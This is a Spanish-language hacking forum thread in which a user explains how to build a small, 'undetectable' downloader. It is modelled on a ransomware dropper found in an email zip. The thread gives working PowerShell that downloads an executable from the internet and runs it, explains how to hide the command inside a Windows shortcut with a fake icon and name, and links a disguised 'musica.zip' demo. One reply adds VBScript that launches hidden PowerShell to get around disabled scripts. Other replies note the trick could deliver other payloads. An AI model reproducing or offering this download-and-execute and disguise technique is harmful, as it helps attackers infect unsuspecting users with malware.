Creando un downloader indecetable que ocupa 2 kbytes

Iniciado por Mad Antrax, 10 Febrero 2016, 16:01 PM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

Hola

Hace tiempo que no me paso por mi sección del foro favorita para compartir nuevas ideas... Recientemente ha llegado a mis manos un virus de tipo ramsonware oculto en un fichero zip (por e-mail), curiosamente mi antivirus no detectó la amenaza, así que me puse a destriparlo en mi VM.

El funcionamiento es muy básico, tras ejecutar el fichero que hay en el ZIP, se ejecuta un ejecutable EXE y se inicia la infección de los ficheros. Hasta aquí todo normal, excepto que el fichero ZIP ocupaba 1,26Kb (descomprimido eran 2Kb...) ¿Cómo podía un fichero de 2Kb cifrar de forma eficiente todos los fichero del disco? La respuesta era fácil, ese fichero de 2Kb no era el ramsonware, sino un pequeño fichero (downloader) que se descargaba una copia del EXE (ramsonware) desde internet y luego lo ejecutaba. Todo ello en un ficherito de 2Kb.

Tras mi análisis pude ver el truco, un simple acceso directo al proceso powershell.exe de Windows y una pequeña línea de código añadida como parámetro del propio acceso directo. Sublime!

El código para descargar y ejecutar un fichero desde internet en PowerShell sería el siguiente:

Código (vb) [Seleccionar]
$c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c


La primera línea define una variable $c con el valor de "C:\Users\usuario_actual\tmp.exe"
La segunda línea crea un nuevo objeto del tipo WebClient y llama a su función DownloadFile, indicando la ruta y el destino ($c)
La tercera línea ejecuta el fichero descargado $c usando Start-Process.

Todo ese código se puede escribir en una sola línea y enviarlo como argumento directamente al proceso powershell.exe usando un acceso directo:





Editando el icono y el nombre podremos disimular el downloader todavía más. Quedando un único fichero de apenas 2Kb completamente funcional.

Os dejo un ejemplo para que entendáis el proceso, es completamente inofensivo. Este acceso directo os descargará y ejecutará el programa ProcessExplorer.exe desde internet

http://www.mediafire.com/download/kj3mtepo8h6zypu/musica.zip

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

WIитX

Muy bueno  ;-)

La verdad es que está bien pensado por que al pasarlo por correo la gente lo descarga rápidamente al pesar poco pero claro el truco está en el donwloader gracias por compartir y a tener cuidado!
"Es más divertido hacerse pirata que unirse a la marina." (Steve Jobs)

fary

Un byte a la izquierda.

Arnaldo Otegi

la verdad que esta bien el truco,porque esto serviria para meter en vez de un ramsomware otra cosa,mui interesante,otra cosilla para probar y que va  para el baul.
saludos y gracias por el aporte.

Flamer

Esta interesante el tema me gusto

Lo puedo compartir en mi blog

Saludos

Mad Antrax

Cita de: Flamer en 16 Febrero 2016, 17:33 PM
Esta interesante el tema me gusto

Lo puedo compartir en mi blog

Saludos

Claro!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Flamer

#6
Oye Mad Antrax se supone que los script de powershell vienen des habilitados en windows y como esta eso de que con un acceso directo puedes ejecutar comandos powershell.

He estado travesiando y se pueden ejecutar comandos powershell desde vbs como lo muestro en este codigo

Código (vb) [Seleccionar]

set shell=createobject("wscript.shell")
power="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "
shell.run   power & "&{$bytes = [System.IO.File]::ReadAllBytes('e:\45.png');foreach ($b in $bytes){$code = $code + '==' + $b};[System.IO.File]::WriteAllLines('e:\logger.txt', $code)}",0


y desde un acceso directo con esta ruta

Citar
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "&{$bytes = [System.IO.File]::ReadAllBytes('e:\45.png');foreach ($b in $bytes){$code = $code + '==' + $b};[System.IO.File]::WriteAllLines('e:\logger.txt', $code)}"

el codigo anterior lee un archivo binario  .png desde la unidad E:\

saludos Flamer y no entiendo por que des habilitan los script .ps1 si se pueden ejecutar comandos desde otra parte

GUMEGA02

tengo una duda!!

Realice una prueba con el codigo

c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c

tengo una duda a que te refieres con tmp.exe seria de gran ayuda que me sacaras de esa duda.


Flamer

Cita de: GUMEGA02 en 15 Abril 2016, 00:11 AM
tengo una duda!!

Realice una prueba con el codigo

c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c

tengo una duda a que te refieres con tmp.exe seria de gran ayuda que me sacaras de esa duda.


tmp.exe es el nombre que le dio al ejecutable descargado Mad Antrax pero es opcional le puedes poner otro si quieres

saludos Flamer

lucke